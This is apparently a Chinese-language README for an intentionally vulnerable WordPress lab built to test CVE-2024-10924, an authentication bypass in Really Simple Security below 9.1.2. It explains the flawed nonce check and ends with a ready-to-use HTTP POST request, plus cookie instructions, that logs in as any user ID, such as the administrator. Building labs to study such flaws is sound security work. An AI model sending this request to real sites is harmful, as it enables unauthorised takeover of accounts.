
这是一个用于测试Really Simple Security < 9.1.2 身份验证绕过漏洞(CVE-2024-10924)的易受攻击的应用程序。
此应用程序包含严重安全漏洞。运行风险自负!建议使用已备份且隔离的环境(例如具有最近快照和仅主机网络的虚拟机)。请勿将此应用程序上传到任何面向互联网的服务器,否则将会被入侵。
免责声明:我不对任何人使用此应用程序的方式负责。此应用程序的唯一目的是为Really Simple Security < 9.1.2 身份验证绕过漏洞(CVE-2024-10924)的利用提供测试场景,不得恶意使用。如果您的服务器因安装此应用程序而被入侵,这不是我的责任,而是上传和安装它的人的责任。
以下是设置环境的步骤:
./up.sh 启动容器组合。容器将被命名为 vuln-wp-really-simple-security。
要拆除环境,请使用 ./down.sh 命令,或使用 ./down_and_delete.sh 命令同时移除镜像和数据库卷。
查看修复,可以理解在易受攻击的版本中,如果登录nonce无效,check_login_and_get_user()函数返回了一个错误对象,但并未中止整个操作。
private function check_login_and_get_user( int $user_id, string $login_nonce ) {
if ( ! Rsssl_Two_Fa_Authentication::verify_login_nonce( $user_id, $login_nonce ) ) {
return new WP_REST_Response( array( 'error' => 'Invalid login nonce' ), 403 );
}
/**
* Get the user by the user ID.
*
* @var WP_User $user
*/
$user = get_user_by( 'id', $user_id );
return $user;
}
然而,在调用方,没有对check_login_and_get_user()函数的输出进行任何检查(第277行),而是直接使用从输入接收到的相同用户ID值,继续使用authenticate_and_redirect()函数(第278行)。
public function skip_onboarding( WP_REST_Request $request ): WP_REST_Response {
$parameters = new Rsssl_Request_Parameters( $request );
// As a double we check the user_id with the login nonce.
$user = $this->check_login_and_get_user( (int)$parameters->user_id, $parameters->login_nonce );
return $this->authenticate_and_redirect( $parameters->user_id, $parameters->redirect_to );
}
要利用此漏洞,以下请求就足够了。
POST /?rest_route=/reallysimplessl/v1/two_fa/skip_onboarding HTTP/1.1
Host: localhost:1337
Content-Type: application/json
Content-Length: 88
Connection: keep-alive
{
"user_id": 1,
"login_nonce": "133333337",
"redirect_to": "/wp-admin/"
}
然后在浏览器中相应地设置返回的会话cookie。
user_id必须为目标用户的ID,login_nonce可以是任何值,因为错误的值不会阻止进程。
可以在此处找到用Python编写的利用脚本。
本项目基于Unlicense许可证发布 - 详情请参阅LICENSE文件。